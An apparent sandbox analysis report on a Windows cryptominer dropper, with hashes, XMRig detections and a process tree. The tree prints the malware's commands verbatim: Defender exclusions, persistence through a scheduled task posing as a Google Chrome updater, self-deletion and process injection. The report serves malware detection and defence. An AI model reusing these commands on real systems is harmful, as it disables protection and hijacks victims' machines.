Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1373s -
max time network
1786s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execonhost.exedescription pid Process procid_target PID 2520 created 1208 2520 3JynzWc6LxNCT2y8.exe 6 PID 2520 created 1208 2520 3JynzWc6LxNCT2y8.exe 6 PID 2520 created 1208 2520 3JynzWc6LxNCT2y8.exe 6 PID 2520 created 1208 2520 3JynzWc6LxNCT2y8.exe 6 PID 3024 created 1208 3024 updater.exe 6 PID 3024 created 1208 3024 updater.exe 6 PID 3024 created 1208 3024 updater.exe 6 PID 3024 created 1208 3024 updater.exe 6 PID 2700 created 1208 2700 conhost.exe 6 PID 3024 created 1208 3024 updater.exe 6 -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/2052-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/2052-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid Process 2612 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 3024 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid Process 2936 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/2052-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/2052-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 3024 set thread context of 2700 3024 updater.exe 51 PID 3024 set thread context of 2052 3024 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exe3JynzWc6LxNCT2y8.exedescription ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid Process 2740 schtasks.exe 844 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 508a03589c51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
3JynzWc6LxNCT2y8.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 2520 3JynzWc6LxNCT2y8.exe 2520 3JynzWc6LxNCT2y8.exe 2024 powershell.exe 2520 3JynzWc6LxNCT2y8.exe 2520 3JynzWc6LxNCT2y8.exe 2860 powershell.exe 2520 3JynzWc6LxNCT2y8.exe 2520 3JynzWc6LxNCT2y8.exe 2520 3JynzWc6LxNCT2y8.exe 2520 3JynzWc6LxNCT2y8.exe 2604 powershell.exe 3024 updater.exe 3024 updater.exe 1700 powershell.exe 3024 updater.exe 3024 updater.exe 320 powershell.exe 3024 updater.exe 3024 updater.exe 3024 updater.exe 3024 updater.exe 2700 conhost.exe 2700 conhost.exe 3024 updater.exe 3024 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid Process Token: SeDebugPrivilege 2024 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2604 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeDebugPrivilege 3024 updater.exe Token: SeAssignPrimaryTokenPrivilege 1628 WMIC.exe Token: SeIncreaseQuotaPrivilege 1628 WMIC.exe Token: SeSecurityPrivilege 1628 WMIC.exe Token: SeTakeOwnershipPrivilege 1628 WMIC.exe Token: SeLoadDriverPrivilege 1628 WMIC.exe Token: SeSystemtimePrivilege 1628 WMIC.exe Token: SeBackupPrivilege 1628 WMIC.exe Token: SeRestorePrivilege 1628 WMIC.exe Token: SeShutdownPrivilege 1628 WMIC.exe Token: SeSystemEnvironmentPrivilege 1628 WMIC.exe Token: SeUndockPrivilege 1628 WMIC.exe Token: SeManageVolumePrivilege 1628 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1628 WMIC.exe Token: SeIncreaseQuotaPrivilege 1628 WMIC.exe Token: SeSecurityPrivilege 1628 WMIC.exe Token: SeTakeOwnershipPrivilege 1628 WMIC.exe Token: SeLoadDriverPrivilege 1628 WMIC.exe Token: SeSystemtimePrivilege 1628 WMIC.exe Token: SeBackupPrivilege 1628 WMIC.exe Token: SeRestorePrivilege 1628 WMIC.exe Token: SeShutdownPrivilege 1628 WMIC.exe Token: SeSystemEnvironmentPrivilege 1628 WMIC.exe Token: SeUndockPrivilege 1628 WMIC.exe Token: SeManageVolumePrivilege 1628 WMIC.exe Token: SeLockMemoryPrivilege 2052 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 2860 wrote to memory of 2740 2860 powershell.exe 32 PID 2860 wrote to memory of 2740 2860 powershell.exe 32 PID 2860 wrote to memory of 2740 2860 powershell.exe 32 PID 2612 wrote to memory of 1772 2612 cmd.exe 37 PID 2612 wrote to memory of 1772 2612 cmd.exe 37 PID 2612 wrote to memory of 1772 2612 cmd.exe 37 PID 2604 wrote to memory of 2908 2604 powershell.exe 38 PID 2604 wrote to memory of 2908 2604 powershell.exe 38 PID 2604 wrote to memory of 2908 2604 powershell.exe 38 PID 2936 wrote to memory of 3024 2936 taskeng.exe 40 PID 2936 wrote to memory of 3024 2936 taskeng.exe 40 PID 2936 wrote to memory of 3024 2936 taskeng.exe 40 PID 320 wrote to memory of 844 320 powershell.exe 45 PID 320 wrote to memory of 844 320 powershell.exe 45 PID 320 wrote to memory of 844 320 powershell.exe 45 PID 3024 wrote to memory of 2700 3024 updater.exe 51 PID 1332 wrote to memory of 1628 1332 cmd.exe 49 PID 1332 wrote to memory of 1628 1332 cmd.exe 49 PID 1332 wrote to memory of 1628 1332 cmd.exe 49 PID 3024 wrote to memory of 2052 3024 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1208
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2520
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2908
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1772
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:844
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1628
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1992
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2700
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\system32\taskeng.exetaskeng.exe {7805BD25-6EAA-4991-AF78-E293AE0E057B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
402KB
MD51efa21516835d2b203f86e730e9b5462
SHA13ff403d3db43d1a0016eb8298292cb4655d822c8
SHA256f1ec1f6792c56553f927a35cbeb396c257231550a960a0af8e2fdb102bdb4a6f
SHA51265529a4c41c37f2e4950429b05e622e5d6b5978ba2d415ca2a18fd6cc76d2cf96d4b9e37bbfc6c663801ff94a47d75bb615c25c7432bc201d367a4582d490f77
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Filesize
1.4MB
MD5f7375c266df194869b9a13eb684fac77
SHA12c0a1dbc7c275cc568b0485eb0f9a7f4e7115c58
SHA256a77740e8b86abb9b8a10b2b6edc99418177a1736092edcec99e016662bd686aa
SHA512e49ce37931d13f381ad91bd5e073697b96a8e42bf534623d0f77cdcf76298a020b2f0011bf74958cda41a7c9d00d0386f056b7c67e60b23c70ad75e8242c7325
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD506e748a4a26a36bc49bf4be4edd4b706
SHA140ab89fcf10f6eae569d7c907c4ed304eb2014a8
SHA2566d79ba32bd9bb454d20a71eb0e17cc3107406affbe1b06e8059fdd66ba4159e1
SHA51295fb0e65c9c8d85f9d0545eaac7c11e8f2468ea96131f2c0cdac11a0ee1fe570c25622a2589d4a0e6e77527df5b9c8a6ccbc0f191cea120cca2ce64f82cb4196
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
631KB
MD58487791e553ffe13541d8f901499adf3
SHA135ef88926dbd3ddced11635058f0373ebd090dee
SHA25609af78f72bdd5e56399e2e851f7cd742efb233d72965c4f00219b6d0ee58c03f
SHA512841a26735c195a7e751f6194e45b3baa7c77a7e31ba977ac594f617e51c667421913db36f4493ef59f3323778d11ec081a2a114f1e313a776f01b83ac97b99db